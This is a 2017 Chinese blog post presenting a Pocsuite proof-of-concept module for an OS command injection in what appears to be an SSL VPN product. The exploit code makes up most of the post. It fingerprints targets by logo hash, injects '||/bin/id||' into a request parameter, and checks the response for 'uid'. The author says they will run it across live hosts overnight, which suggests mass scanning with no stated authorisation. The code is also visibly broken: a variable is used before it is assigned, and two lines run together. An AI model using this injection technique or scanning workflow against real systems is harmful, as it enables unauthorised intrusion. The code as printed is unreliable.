pocsuite 实现一个verify检测功能

今天在测试中发现一个命令执行漏洞,尝试用创宇的pocsuite框架实现。说实话,这玩意儿确实没有自己写POC顺手,非得就着他的标准来,就很难受,以至于耽误了很多时间在规范上。。

影响参数后直接用||连接,然后定位linux命令如||/bin/id||

下面是代码部分,大体思路就是发送一个含有payload的post请求,由于涉及一些隐私,我下面的一些地方做了打码:

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 
 4 """
 5 Copyright (c) 2014-2015 pocsuite developers (http://seebug.org)
 6 See the file 'docs/COPYING' for copying permission
 7 """
 8 #命令行
 9 from pocsuite import pocsuite_cli
10 #验证模块
11 from pocsuite import pocsuite_verify
12 #攻击模块
13 from pocsuite import pocsuite_attack
14 #控制台模式
15 from pocsuite import pocsuite_console
16 from pocsuite.api.request import req 
17 from pocsuite.api.poc import register
18 from pocsuite.api.poc import Output, POCBase
19 
20 
21 class SSL_VPN(POCBase):
22     vulID = '17'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
23     version = '1' #默认为1
24     vulDate = '2017-11-21' #漏洞公开的时间,不知道就写今天
25 
26     author = 'colorway' #  PoC作者的大名
27     createDate = '2017-11-21'# 编写 PoC 的日期
28     updateDate = '2017-11-21'# PoC 更新的时间,默认和编写时间一样
29     references = []# 漏洞地址来源,0day不用写
30     name = 'OS Command Injection'# PoC 名称
31     appPowerLink = '#'# 漏洞厂商主页地址
32     appName = '#'# 漏洞应用名称
33     appVersion = 'all versions'# 漏洞影响版本
34     vulType = 'Command Injection'#漏洞类型,类型参考见 漏洞类型规范表
35     desc = '''
36         攻击者可拼接系统命令getshell
37     ''' # 漏洞简要描述
38     samples = []# 测试样列,就是用 PoC 测试成功的网站
39     install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
40 
41     #验证漏洞 pocsuite -r xxxx-OS-Injection.py -f ip.txt --verify
42     def _verify(self):
43         #定义返回结果
44         import hashlib
45         import re
46         result = {}
47         #获取漏洞url
48         vul_url = self.url + '/xx/xx/xx.php?xx=xx&t=1&h=127.0.0.1&p=80&c=1||/bin/id||'
49         vul1_url = vul_url.replace('http', 'https')
50         test_url = self.url + '/images/logo.gif'
51         test1_url = test_url.replace('http', 'https')
52         # print test_url
53         # print test1_url
54         r = req.get(test_url)
55         r1 = req.get(test1_url, verify=False)
56         if hashlib.md5(r1.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' or hashlib.md5(r2.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx':
57             data = "xxx=1&xxx=1&auth=10&user_name=11&pass=111&xxxx=xxxx"
58             cookies = {'xxxx':'aaaa','admin_token':''}
59             r2 = req.post(vul_url, data=data, cookies=cookies)
60             r3 = req.post(vul1_url, data=data, cookies=cookies, verify=False)
61             if "uid" in r2.content or "uid" in r3.content:
62                 result['VerifyInfo'] = {}
63                 result['VerifyInfo']['URL'] = self.url
64                 result['VerifyInfo']['Payload'] = vul_url65             # print r2.content
66         return self.save_output(result)
67 
68     #漏洞攻击
69     def _attack(self):
70         result = {}
71         # 攻击代码
72         return self._verify()
73 
74     def save_output(self, result):
75         #判断有无结果并输出
76         output = Output(self)
77         if result:
78             output.success(result)
79         else:
80             output.fail()
81         return output
82 
83 register(SSL_VPN)

这里我先做了指纹识别,判断目标网站是否有logo并且logo所在文件的MD5值是否正确,是的话进入下面的代码。其他的地方就是我加了https的验证,因为一般资产导入的都是IP地址,前面没有协议的名字,所以我采用了判断两次的方法(感觉是一个笨方法,但目前没有想到其他方法,控制台参数里也没有启用https的参数选项)

今天晚上跑一下存活主机,看看明天能跑出多少台来,嘻嘻。

 

posted on 2017-11-21 21:02  colorway  阅读(1545)  评论(0编辑  收藏  举报